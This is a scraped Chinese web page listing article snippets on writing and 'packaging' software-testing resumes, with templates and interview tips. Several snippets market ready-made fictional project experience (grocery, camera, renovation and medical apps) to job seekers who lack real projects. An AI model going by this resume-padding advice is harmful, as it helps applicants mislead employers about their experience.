  大家好,今天我们这期来讲,如何写一份合格的测试简历(上)。 在这期我会说一下,编写简历的原则和技巧:简历是面试第一道关卡,因为hr每天会收到很多简历,那么hr就会快速的审阅每份简历,只有你的简历中亮点, 符合该公司的需求,hr才会给你发送面试邀请。 首先,选择一个美观大方的简历模板,至少这个模板条例清晰,模块分明。因为选择一个美观大方的简历模板,先不说你的简

继续访问

软件测试项目经验简历包装

里面包含买菜app、摄像app、装修网web项目。 --------------------------------------------------------------------------------------------- 项目内容包含:项目名称、所属行业、项目描述、责任描述、项目情况介绍(如:项目开发时间、经历哪些阶段、开发模式、实战练习参考APP等)不提供测试计划、测试用例、测试报告这些,望知晓! 注意:该测试项目经验适合刚毕业或刚培训出来无实际项目经验的同学,不适合已从事软件测试工作多年的人员,望知晓!如果你的简历长时间投递还是没有收到面试邀请,那就是项目表述、包装、出了问题,不够直观,不妨考虑一下我们这里的测试简历项目经验哦

如何自学软件测试、包装简历实现华丽转行?

随着近几年培训机构的兴起,越来越多的人开始涌入软件测试行业,其中包括不少看B站视频/自己买的小额视频,其实,不管是参加培训还是自学也好,主要会面临以下几个问题:来自培训前的困惑如下:软件测

继续访问

软件测试简历的包装

测试简历编写

继续访问

面试软件测试的时候,应届生怎么包装自己的简历?

一、自我介绍 进入面试后的第一个问题一定是先让你做下自我介绍,就是简单的介绍一下自己,自我介绍的时长尽量控制在3分钟左右,自我介绍的时间不要太长,不要超过5分钟,内容要精炼些,让面试官对你能有一个直观、全面的了解,切记避免啰嗦、重复的内容。 自我介绍可以从以下几个方面进行切入: 小伙伴儿们注意昂,我上面说的这几个方面是指给你提供一个参考,你可以从这几方面进行切入,并不是说在你的自我介绍中这些方面都必须包括,或是你有更好的自我介绍你甚至可以拿我列出的这些方面当放屁昂。 这里建议小伙伴们在面试前提前就要

继续访问

1000个已成功入职的软件测试工程师简历经验总结:软件测试工程师简历项目经验怎么写(含真实简历模板)

目录:导读 一、前言:浅谈面试 二、软件测试工程师:简历模板 三、软件测试工程师:简历包装 1基本信息: 2教育背景: 3专业技能 4工作经历 5项目经验 6自我评价 四、软件测试工程师:简历总结 一、前言:浅谈面试 面试是我们进入一个公司的门槛,通过了面试才能进入公司,你的面试结果和你的薪资是息息相关的。那如何才能顺利的通过面试,得到公司的认可呢面试软件测试要注意哪些问题呢下面和笔者一起来看看吧。这里分享一下笔者十年测试生涯的面试总结! 软件测试面试常见问题

继续访问

软件测试面试官让你介绍项目你怎么回答?最全模板来了(包含电商项目、在线教育、互联网金融等)

!如果下面这些资料用得到的话可以直接拿走:1、自学开发或者测试必备的完整项目源码与环境2、测试工作中所有模板(测试计划、测试用例、测试报告等)3、软件测试经典面试题4、Python/Java自动化测试实战pdf5、Jmeter/postman接口测试全套视频获取6、Python学习路线图。

继续访问

5份软件测试简历模板(含项目)zip

软件测试真实简历模板,功能测试、自动化测试简历,每份简历都有多个项目案例信息可供参考。

软件测试 (6)APP项目测试

APP项目需掌握测试点,性能测试工具Solopi和抓包测试工具Charles使用教学

继续访问

软件测试HTML表单常用代码、测试基础理论学习分享

软件测试HTML表单常用代码、测试基础理论学习分享

继续访问

非常完美的软件测试简历——值得一看

适合刚工作不足半年的菜鸟一看的软件测试简历

热门推荐 软件测试工程师简历项目经验怎么写--1000个已成功入职的软件测试工程师简历范文模板(含真实简历)

目录:导读 一、前言:浅谈面试 二、软件测试工程师:简历模板 三、软件测试工程师:简历包装 1基本信息: 2教育背景: 3专业技能 4工作经历 5项目经验 6自我评价 四、软件测试工程师:简历总结 一、前言:浅谈面试 面试是我们进入一个公司的门槛,通过了面试才能进入公司,你的面试结果和你的薪资是息息相关的。那如何才能顺利的通过面试,得到公司的认可呢面试软件

继续访问

软件测试包装简历从这几点出发、提升通过率

注意简历上的东西一定要会、一定要会、一定要会(面试官一般会针对简历上的问题进行提问,所以一定要准备充分!)下面是一份高级软件测试工程师简历模板,写作技巧在下方

继续访问

软件测试包装建议

下面有关项目经验的包装提几点建议: ❶、项目要有可行性 所谓可行性,就是项目研发的预期结果和实际实用场景是否成正比,软件行业本来就是烧钱的,如果入不敷出是没人愿意做的,所以在选择和考虑项目经验是首先得进行可行性分析。 ❷、项目要有真实性 虽然现在网上开源项目很多,见到的、用到的软件也是层出不穷,种类很多,金融类、保险类、电商类等等,自己在选择项目时一定要保证真实,不能说都真真切切的使用过,但是一定要了解它的使用场景和业务逻辑以及流程操作,这样,你的项目经验才经得起推敲,才站得住脚。 ❸、项目要有契

继续访问

软件测试工程师简历项目经验怎么写--1000个已成功入职的软件测试工程师简历范文模板(真实简历)

一、前言:浅谈面试 面试是我们进入一个公司的门槛,通过了面试才能进入公司,你的面试结果和你的薪资是息息相关的。那如何才能顺利的通过面试,得到公司的认可呢面试软件测试要注意哪些问题呢下面和笔者一起来看看吧。这里分享一下笔者十年测试生涯的面试总结! 软件测试面试常见问题通常分为两大类,一类是考察你的专业技能,另一类是考察你的稳定性、努力程度、情商等因素。并且所有初级测试工程师的面试题中我发现超过90%都是基础性的面试题,2020年只要掌握功能测试和接口测试,然后有一定的自动化基础,再加上面试的时候态度ok

继续访问

软件测试包装简历项目(医疗类型),适合刚入行的测试小白编写简历。

在传统的医疗行业现状下,患者对医院缺乏了解、信息不对称,而看病难、看病烦、服务不到位导致医患关系紧张,部分医院品牌形象缺乏。在移动互联网时代,只需轻动手指,则一站式改善就医体验。 本项目总共有2个端,前端是提供给患者使用的App端,后端是便于医院管理的web端。 我们的案例主要以“模拟面试情景+项目介绍”的形式给大家进行讲解。项目的重要模块都已经提取出来,会展示模块的测试点,重要的bug阐述,以及相应的项目周期、人员配置、用例、bug数量的输出。 我们也会提供出项目的操作界面地址供大家点击操作,大家可以通过实际操作写一些测试用例练手。 本项目主要适合刚入行的测试小白编写简历和准备项目。

职场和发展

软件测试

DABAN RP主题是一个优秀的主题,极致后台体验,无插件,集成会员系统
网站模板库 » 如何使用OpenStack,Docker和Spark打造一个云服务

0条评论

发表评论

提供最优质的资源集合

立即查看 了解详情